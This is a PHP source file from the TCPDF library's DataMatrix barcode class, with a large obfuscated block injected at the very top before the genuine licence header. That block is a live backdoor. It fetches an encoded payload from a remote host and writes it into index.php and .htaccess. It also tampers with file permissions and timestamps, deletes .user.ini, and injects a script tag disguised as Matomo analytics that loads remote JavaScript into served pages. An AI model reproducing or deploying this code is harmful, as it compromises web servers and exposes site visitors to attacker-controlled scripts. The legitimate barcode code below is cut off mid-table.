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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
//============================================================+
// File name : datamatrix.php
// Version : 1.0.008
// Begin : 2010-06-07
// Last Update : 2014-05-06
// Author : Nicola Asuni - Tecnick.com LTD - www.tecnick.com - info@tecnick.com
// License : GNU-LGPL v3 (http://www.gnu.org/copyleft/lesser.html)
// -------------------------------------------------------------------
// Copyright (C) 2010-2014 Nicola Asuni - Tecnick.com LTD
//
// This file is part of TCPDF software library.
//
// TCPDF is free software: you can redistribute it and/or modify it
// under the terms of the GNU Lesser General Public License as
// published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version.
//
// TCPDF is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with TCPDF. If not, see <http://www.gnu.org/licenses/>.
//
// See LICENSE.TXT file for more information.
// -------------------------------------------------------------------
//
// DESCRIPTION :
//
// Class to create DataMatrix ECC 200 barcode arrays for TCPDF class.
// DataMatrix (ISO/IEC 16022:2006) is a 2-dimensional bar code.
//============================================================+
/**
* @file
* Class to create DataMatrix ECC 200 barcode arrays for TCPDF class.
* DataMatrix (ISO/IEC 16022:2006) is a 2-dimensional bar code.
*
* @package com.tecnick.tcpdf
* @author Nicola Asuni
* @version 1.0.008
*/
// custom definitions
if (!defined('DATAMATRIXDEFS')) {
/**
* Indicate that definitions for this class are set
*/
define('DATAMATRIXDEFS', true);
// -----------------------------------------------------
} // end of custom definitions
// #*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#
/**
* ASCII encoding: ASCII character 0 to 127 (1 byte per CW)
*/
define('ENC_ASCII', 0);
/**
* C40 encoding: Upper-case alphanumeric (3/2 bytes per CW)
*/
define('ENC_C40', 1);
/**
* TEXT encoding: Lower-case alphanumeric (3/2 bytes per CW)
*/
define('ENC_TXT', 2);
/**
* X12 encoding: ANSI X12 (3/2 byte per CW)
*/
define('ENC_X12', 3);
/**
* EDIFACT encoding: ASCII character 32 to 94 (4/3 bytes per CW)
*/
define('ENC_EDF', 4);
/**
* BASE 256 encoding: ASCII character 0 to 255 (1 byte per CW)
*/
define('ENC_BASE256', 5);
/**
* ASCII extended encoding: ASCII character 128 to 255 (1/2 byte per CW)
*/
define('ENC_ASCII_EXT', 6);
/**
* ASCII number encoding: ASCII digits (2 bytes per CW)
*/
define('ENC_ASCII_NUM', 7);
/**
* @class Datamatrix
* Class to create DataMatrix ECC 200 barcode arrays for TCPDF class.
* DataMatrix (ISO/IEC 16022:2006) is a 2-dimensional bar code.
*
* @package com.tecnick.tcpdf
* @author Nicola Asuni
* @version 1.0.004
*/
class Datamatrix {
/**
* Barcode array to be returned which is readable by TCPDF.
* @protected
*/
protected $barcode_array = array();
/**
* Store last used encoding for data codewords.
* @protected
*/
protected $last_enc = ENC_ASCII;
/**
* Table of Data Matrix ECC 200 Symbol Attributes:<ul>
* <li>total matrix rows (including finder pattern)</li>
* <li>total matrix cols (including finder pattern)</li>
* <li>total matrix rows (without finder pattern)</li>
* <li>total matrix cols (without finder pattern)</li>
* <li>region data rows (with finder pattern)</li>
* <li>region data col (with finder pattern)</li>
* <li>region data rows (without finder pattern)</li>
* <li>region data col (without finder pattern)</li>
* <li>horizontal regions</li>
* <li>vertical regions</li>
* <li>regions</li>
* <li>data codewords</li>
* <li>error codewords</li>
* <li>blocks</li>
* <li>data codewords per block</li>
* <li>error codewords per block</li>
* </ul>
* @protected
*/
protected $symbattr = array(
// square form ---------------------------------------------------------------------------------------
array(0x00a,0x00a,0x008,0x008,0x00a,0x00a,0x008,0x008,0x001,0x001,0x001,0x003,0x005,0x001,0x003,0x005), // 10x10
array(0x00c,0x00c,0x00a,0x00a,0x00c,0x00c,0x00a,0x00a,0x001,0x001,0x001,0x005,0x007,0x001,0x005,0x007), // 12x12
array(0x00e,0x00e,0x00c,0x00c,0x00e,0x00e,0x00c,0x00c,0x001,0x001,0x001,0x008,0x00a,0x001,0x008,0x00a), // 14x14
array(0x010,0x010,0x00e,0x00e,0x010,0x010,0x00e,0x00e,0x001,0x001,0x001,0x00c,0x00c,0x001,0x00c,0x00c), // 16x16
array(0x012,0x012,0x010,0x010,0x012,0x012,0x010,0x010,0x001,0x001,0x001,0x012,0x00e,0x001,0x012,0x00e), // 18x18
array(0x014,0x014,0x012,0x012,0x014,0x014,0x012,0x012,0x001,0x001,0x001,0x016,0x012,0x001,0x016,0x012), // 20x20
array(0x016,0x016,0x014,0x014,0x016,0x016,0x014,0x014,0x001,0x001,0x001,0x01e,0x014,0x001,0x01e,0x014), // 22x22
array(0x018,0x018,0x016,0x016,0x018,0x018,0x016,0x016,0x001,0x001,0x001,0x024,0x018,0x001,0x024,0x018), // 24x24
array(0x01a,0x01a,0x018,0x018,0x01a,0x01a,0x018,0x018,0x001,0x001,0x001,0x02c,0x01c,0x001,0x02c,0x01c), // 26x26
array(0x020,0x020,0x01c,0x01c,0x010,0x010,0x00e,0x00e,0x002,0x002,0x004,0x03e,0x024,0x001,0x03e,0x024), // 32x32
array(0x024,0x024,0x020,0x020,0x012,0x012,0x010,0x010,0x002,0x002,0x004,0x056,0x02a,0x001,0x056,0x02a), // 36x36
array(0x028,0x028,0x024,0x024,0x014,0x014,0x012,0x012,0x002,0x002,0x004,0x072,0x030,0x001,0x072,0x030), // 40x40
array(0x02c,0x02c,0x028,0x028,0x016,0x016,0x014,0x014,0x002,0x002,0x004,0x090,0x038,0x001,0x090,0x038), // 44x44
array(0x030,0x030,0x02c,0x02c,0x018,0x018,0x016,0x016,0x002,0x002,0x004,0x0ae,0x044,0x001,0x0ae,0x044), // 48x48
array(0x034,0x034,0x030,0x030,0x01a,0x01a,0x018,0x018,0x002,0x002,0x004,0x0cc,0x054,0x002,0x066,0x02a), // 52x52
